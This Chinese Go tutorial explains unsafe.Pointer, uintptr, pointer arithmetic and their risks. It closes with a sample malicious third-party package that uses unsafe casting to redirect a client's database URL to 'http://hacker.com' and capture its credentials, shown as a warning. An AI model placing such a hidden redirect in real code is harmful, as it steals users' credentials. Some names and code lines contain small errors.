Go 面試官:說說 unsafe-Pointer 和 uintptr 的區別和聯繫

前幾天 Go 語言中文網 公衆號發了一篇文章:unsafe 真就不安全嗎?其中談到了 unsafe 包的初衷和功能。不過那篇文章還有一個功能沒講,那就是 unsafe.Pointer,今天就詳細介紹它,包括其他相關類型和實際使用情況。同時還會設計到社區對 unsafe 的看法以及建議。希望看完這篇文章,你能較好的掌握 unsafe.Pointer。當然,請在必要時使用它。

type Pointer

此類型表示指向任意類型的指針,這意味着,unsafe.Pointer 可以轉換爲任何類型或 uintptr 的指針值。你可能會想: 有什麼限制嗎?沒有,是的... 你可以轉換 Pointer 爲任何你想要的,但你必須處理可能的後果。爲了減少可能出現的問題,你可以使用某些模式:

以下涉及 Pointer 的模式是有效的。不使用這些模式的代碼今天可能無效,或者將來可能無效。即使是下面這些有效的模式,也帶有重要的警告。” —— golang.org

你也可以使用 go vet,但是它不能解決所有的問題。因此,我建議你遵循這些模式,因爲這是減少錯誤的唯一方法。

快速拷貝

如果兩種類型的內存佈局相同,爲了避免內存分配,你可以通過以下機制將類型 *T1 的指針轉換爲類型 *T2 的指針,將類型 T1 的值複製到類型 T2 的變量中:

ptrT1 := &T1{}
ptrT2 = (*T2)(unsafe.Pointer(ptrT1))

但是要小心,這種轉換是有代價的,現在兩個指針指向同一個內存地址,所以每個指針的改變也會反應到另一個指針上。可以通過這裏驗證 [1]。

unsafe.Pointer != uintptr

我已經提到過,指針可以轉換爲 uintptr 並轉回來,但是轉回來是有一些特殊的條件限制的。unsafe.Pointer 是一個真正的指針,它不僅保持內存地址,包括動態鏈接的地址,但 uintptr 只是一個數字,因此它更小,但有代價。如果你轉換 unsafe.Pointer 爲 uintptr 後,指針不再引用指向的變量,而且在將 uintptr 轉換回 unsafe.Pointer 變量之前,垃圾收集器可以輕鬆地回收該內存。至少有兩種解決方案可以避免此問題。第一個更復雜的,但也真正顯示了,爲了使用 unsafe 包,你必須犧牲什麼。有一個特殊的函數,runtime.KeepAlive 可以避免 GC 不恰當的回收。它聽起來很複雜,而且使用起來更加複雜。這裏爲你準備了實際例子 [2]。

指針算法

還有另一種方法避免 GC 不恰當回收。即在同一個語句中做以下事情:將 unsafe.Poniter 轉爲 uintptr,以及將 uintptr 做其他運算,最後轉回 unsafe.Pointer 。因爲 uintptr 只是一個數字,我們可以做所有特殊的算術運算,比如加法或減法。我們如何使用它?指針算法通過了解內存佈局和算術運算,可以得到任何需要的數據。讓我們來看看下一個例子:

x := [4]byte{10, 11, 12, 13}
elPtr := unsafe.Pointer(uintptr(unsafe.Pointer(&x[0])) + 3*unsafe.Sizeof(x[0]))

有了指向字節數組第一個元素的指針,我們就可以在不使用索引的情況下獲得最後一個元素。如果將指針移動三個字節,我們就可以得到最後一個元素。

因此,在一個表達式中執行所有轉換可以省去 GC 清理的麻煩。上述三種模式說明了如何在不同情況下正確地轉換 unsafe.Pointer 爲其他數據類型的指針。

Syscalls

在包 syscall 中,有一個函數 syscall.Syscall 接收 uintptr 格式的指針的系統調用,我們可以通過 unsafe.Pointer 得到 uintptr。重要的是,你必須進行正確的轉換:

a := &A{1}
b := &A{2}
syscall.Syscall(0, uintptr(unsafe.Pointer(a)), uintptr(unsafe.Pointer(b))) // Right

aPtr := uintptr(unsafe.Pointer(a)
bPtr := uintptr(unsafe.Pointer(b)
syscall.Syscall(0, aPtr, bPtr) // Wrong

reflect.Value.Pointer 和 reflect.Value.UnsafeAddr

reflect 包中有兩個方法: Pointer 和 UnsafeAddr,它們返回 uintptr,因此我們應該立即將結果轉換爲 unsafe.Pointer,因爲我們需要時刻 “提防” 我們的 GC 朋友:

p1 := (*int)(unsafe.Pointer(reflect.ValueOf(new(int)).Pointer())) // Right

ptr := reflect.ValueOf(new(int)).Pointer() // Wrong
p2 := (*int)(unsafe.Pointer(ptr) // Wrong

reflect.SliceHeader 和 reflect.StringHeader

reflect 包中有兩種類型: SliceHeader 和 StringHeader,它們都具有字段 Data uintptr。正如你所記得的那樣,uintptr 通常與 unsafe.Pointer 聯繫在一起,見下面代碼:

var s string
hdr := (*reflect.StringHeader)(unsafe.Pointer(&s))
hdr.Data = uintptr(unsafe.Pointer(p))
hdr.Len = n

以上就是所有可能關於 unsafe.Pointer 使用的模式,所有不遵循這些模式或從這些模式派生的情況很可能是無效的。但是 unsafe 包不僅在代碼中而且在代碼之外都會帶來問題。讓我們回顧一下其中的幾個。

兼容性

Go 有兼容性指南 [3],保證版本更新的兼容性。簡單地說,它保證你的代碼在升級後仍然可以工作,但是不能保證你已經導入了 unsafe 的包。unsafe 包的使用可能會破壞你的代碼的每個版本: major,minor,甚至安全修補程序。所以在導入之前,試着想一下這樣一種情況:你的客戶問你爲什麼我們不能通過升級 Go 版本來消除漏洞,或者爲什麼在更新之後什麼都不能工作了。

不同的行爲

你知道所有的 Go 數據類型嗎?你聽說過 int 嗎?如果我們已經有 int32 和 int64,爲什麼還有 int?實際上 int 類型是根據計算機體系結構(x32 或 x64)將其轉換爲 int32 或 int64 類型。所以請記住,unsafe 的函數結果和內存佈局在不同的架構上可能是不同的,例如:

var s string
unsafe.Sizeof(s) // x32 上是 8,而 x64 上是 16

社區的情況

我想知道:如果這個包如此危險,有多少冒險者在使用它。我已經在 GitHub[4] 上搜索過了。與 crypto[5] 或 math[6] 相比,數量並不多。其中超過一半的內容是關於使用 unsafe 的方法的技巧和可能的偏差,而不是一些真正的用法。

Rust 社區有一個事件:一個叫 Nikolay Kim 的,他是 activex[7] 項目的創始人,在社區的巨大壓力下,將 activex 庫變成了私有。後來再公開該倉庫時,將其中一個貢獻者提升爲所有者,然後離開 [8]。所有這一切的發生都是因爲一些人認爲使用了 unsafe 包,這太危險不應該使用。我知道 Go 社區目前沒有這種情況,而且 Go 社區裏也沒有唯一正確的觀點。我想要提醒的是,如果你在代碼中導入了 unsafe 的代碼,請做好準備,社區可能會。。。

愛好者

有很多人和很多想法,這篇文章 [9] 展示了使用 int 和使用指針操作的新方法,簡而言之,它看起來像這樣:

var foo int
fooslice = (*[1]int)(unsafe.Pointer(&foo))[:]

對此,我不發表意見,我只會提到,你應該注意導入 unsafe 可能的問題。

最後

我個人試着去思考 unsafe 帶來問題的可能性,這裏有一個使用 unsafe 的例子。假設你導入了一些執行某些有用操作的第三方包,比如將 DB 客戶端對象和日誌記錄器包裝到一個實體中,以使所有操作的日誌記錄更加容易,或者像我的例子中那樣,導入一些返回對象的動物的函數...

package main

import (
 "fmt"
 "third-party/safelib"
)

func main() {
 a := safelib.NewA("https://google.com""1234") // Url and password
 fmt.Println("My spiritual animal is: ", safelib.DoSomeHipsterMagic(a))
 a.Show()
}

在這個函數中,我們將 interface{} 斷言爲一些已知類型,並快速複製到一些 Malicious 類型,這些 Malicious 類型具有獲取和設置私有字段的方法,如 url 和密碼。所以這個包可以提取出所有有趣的數據,甚至替換 url,這樣下次你嘗試連接到 DB 時,有人會獲得你的憑證。

func DoSomeHipsterMagic(any interface{}) string {
 if a, ok := any.(*A); ok {
  mal := (*Malicious)(unsafe.Pointer(a))
  mal.setURL("http://hacker.com")
 }

 return "Cool green dragon, arrh 🐉"
}

最後的最後,切記所有的技術都有一定的代價,但是 unsafe 技術尤其 “昂貴”,所以我的建議是在使用它之前要三思。

參考資料

[1]

這裏驗證: https://play.studygolang.com/p/bZGEHrHp4LM

[2]

實際例子: https://play.studygolang.com/p/L7rgheqNo9w

[3]

兼容性指南: https://docs.studygolang.com/doc/go1compat

[4]

GitHub: https://github.com/search?l=Go&q=unsafe&type=Repositories

[5]

crypto: https://github.com/search?l=Go&q=crypto&type=Repositories

[6]

math: https://github.com/search?l=Go&q=math&type=Repositories

[7]

activex: https://github.com/actix

[8]

離開: https://github.com/actix/actix-web/issues/1289

[9]

這篇文章: https://nullprogram.com/blog/2019/06/30/

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/l-ZQws4SH4QsvMhmJddiww